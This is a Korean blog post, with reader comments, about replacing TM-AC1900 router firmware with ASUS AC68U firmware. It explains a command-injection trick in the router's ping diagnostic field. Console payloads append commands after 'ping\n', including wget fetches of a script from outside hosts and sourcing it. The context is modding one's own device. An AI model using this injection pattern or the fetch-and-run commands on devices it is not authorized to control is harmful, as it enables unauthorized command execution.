본문 바로가기

IT 이야기

TM-AC1900 펌웨어 교체 후기 및 미세 팁

얼마전, TM-AC1900 공유기를 샀습니다. 이 모델이 하드웨어는 AC68U모델과 완전히 동일한데, 펌웨어 업데이트가 더 이상 진행되지 않고, 여러 기능들이 막혀있어 보통 AC68U모델의 펌웨어로 교체하곤 합니다.

 

교체 방법은 이미 타 블로그에도 많이 있으니 간단히 정리해보면,

 

1. 최신 펌웨어를 1703버전으로 다운그레이드 합니다.

최신 버전의 펌웨어는 SSH 활성화 옵션이 존재하지 않아 펌웨어를 교체하려면 SSH 활성화 옵션이 있는 1703 버전으로 다운그레이드 해줘야 합니다.

 

2. 공유기에 SSH로 접속하여 AC68U의 펌웨어를 덮어씌워줍니다.

 

3. 원래 AC1900의 정보가 남은 찌꺼기들을 제거해줍니다.

 

순서대로 진행해주면 됩니다만, 다운그레이드 과정이 좀 신기해서 몇자 적어보려 합니다.

 

 

최신 펌웨어 기준으로 다운그레이드를 진행하려면 네트워크 도구에서 브라우저의 Console창을 열고 명령어를 입력, 네트워크 진단 실행하는 방법으로 진행이 됩니다.

validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;}

이렇게 말이죠.

 

아무도 궁금한 분이 없으시겠지만 일단 저게 뭘 의미하는건지 차근차근 알아보면

 

망할 헬플러스 ㅂㄷㅂㄷ

제가 이미 펌웨어를 교체해버렸는지라 부득이하게 AC68U의 메뉴를 캡쳐했습니다만, ping이라는 걸 사용하여 네트워크를 진단하게 됩니다.

간단히 말해서 "나 이 사이트에 접속할 수 있을까~?"하고 물어보는거라고 생각 하시면 됩니다.

 

이때 ping이라는 명령어를 공유기에서 사용하게 되는데 이를 착안하여 편법을 사용한 것 입니다.

validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;}

다시한번 명령어를 봅시다.

 

아까 ping이라는 명령어를 사용한다고 했죠? 그쪽 부분을 유심히 보면 '\necho hello world'라는 문장이 ping과 함께 큰 따옴표 안에 묶여 있습니다. 여기서 \n의 의미는 ping명령어를 입력한 다음 엔터를 입력하라는 의미이고, 뒤에 echo hello world는 hello world를 출력하라는 의미입니다.

 

간단히 말해서, ping\n뒤에 원하는 명령어를 붙여줌으로서, 사용자 임의대로 명령어를 실행시키는 의미입니다.

 

이걸보고 정말 천재같은 아이디어라 생각했습니다. 웹 해킹은 워 게임 몇개 끄적인 수준이지만 개인적으론 아이디어 하나 만큼은 대단하다고 느꼈습니다. 네트워크 진단하는 메뉴에서 자기가 원하는 명령어를 서버에 실행시키는 취약점이나 다름없으니 말이죠.

 

실제 AC68U에서 실행해보니 저 취약점은 이제 통하지 않는 취약점입니다. 이미 보안패치가 완료된 것으로 추정됩니다.

 

 

여기까지가 이제 개인적인 잡소리정도 되겠고, 뒤에 미세팁 몇가지를 남기려 합니다.

 

 

1.

validForm = function(){document.form.SystemCmd.value = "ping\nservice restart_httpd";return true;}

제가 가이드 몇개 본 것 중엔 이 부분에서 2분 정도 기다리라고 나와있었습니다. 넉넉하게 시간을 잡아서 2분이라 쓰신 듯 합니다만 저 명령어는 아마 뒤에 wget으로 파일을 받기 위해 httpd 서비스를 재시작한 것 같은데 대충 10초에서 30초정도 시간으로도 충분히 뒤에 명령어를 실행할 수 있습니다.

 

 

2.

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd docbill.freeshell.org";return true;}

이 부분은 docbill.freeshell.org 라는 사이트에서 u.txt 파일을 내려받기 위한 명령어입니다만, 문제는 저 docbill.freeshell.org라는 사이트가 꺼져있을떄가 간간히 있습니다. 이것 때문에 좀 고생했습니다.

 

이 글을 쓰고있는 지금도 사이트가 동작하지 않습니다.

docbill.freeshell.org라는 사이트에 접속했을 떄 이런 식으로 뜨면 서버가 꺼져있는겁니다. 서버가 켜져있을 땐 사이트 만든 사람의 간단한 소개 글이 있습니다.

 

그래서 혹시라도 저 사이트가 꺼져있을땐 위 명령어를

validForm = function(){document.form.SystemCmd.value = "ping\nwget -nH -nd ftp://nas.shoko.moe/Anon_Shared/u.txt";return true;}

이렇게 바꿔주시면 아마 동작할겁니다. 뒤에 명령어를 실행하기 위해서 u.txt라는 파일을 받아야 하는데, 그걸 docbill.freeshell.org 사이트가 아닌, 제 서버에서 다운받게 해주는 명령어입니다.

 

동작은 확인해보지 않았지만 아마 정상 작동할거라 추측됩니다. 해보신 분 계시면 댓글로 알려주세요.

 

 

그럼 성공적으로 펌웨어 교체하시길 바랍니다.

  • 공유기어렵다ㅠㅠ 2020.04.26 17:58

    펌웨어 다운그레이드 때문에 정보를 찾다가 여기까지 왔네요. docbill.freeshell.org 사이트 접속땜에 u.txt파일 생성이 안되서 진행을 못하고 있던중 정보를 찾고자 왔습니다. 알려주신 명령어로 해봤는데 마찬가지로 진행이 되지 않네요;;; u.txt가 생성이 됐다고 나와야 하는데 명령어를 실행해도 아무런 반응이 없네요 ㅠㅠ

    • nanashi_ 2020.04.27 17:07 신고

      다음 명령어인 validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt " + encodeURIComponent("find /tmp/mnt -name firmware1703.trx" ).replace(/%/g,"..");return true;}
      를 실행했을때 정상작동 하지 않는다는 말씀이신가요?

    • nanashi_ 2020.04.27 17:09 신고

      https://100000won.tistory.com/13
      이 사이트 참고하신거시면 index.html파일은 다운로드 되지 않는게 정상입니다.
      validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd docbill.freeshell.org";return true;}

      이 명령어는 docbill.freeshell.org 사이트에서 필요없는 파일까지 다 다운로드 하는거였다면 제 명령어는 u.txt 파일만 다운받습니다.

  • 어렵네요ㅠㅠ 2020.05.29 14:43

    저도 펌웨어 다운때문에 정보 찾다 여기 들렀습니다.
    일단 docbill.freeshell.org 사이트가 낮시간에 닫혀있어서 접속을 할 수 없어서 올려주신 validForm = function(){document.form.SystemCmd.value = "ping\nwget -nH -nd ftp://nas.shoko.moe/Anon_Shared/u.txt";return true;}

    이걸 입력했는데 아무런 메시지가 나오지 않네요 ㅠㅠ

    docbill 사이트는 아래같이 나오는데 닫혀있어서...

    --2020-05-29 14:42:30-- http://docbill.freeshell.org/
    Resolving docbill.freeshell.org... 205.166.94.8
    Connecting to docbill.freeshell.org|205.166.94.8|:80... failed: Connection refused.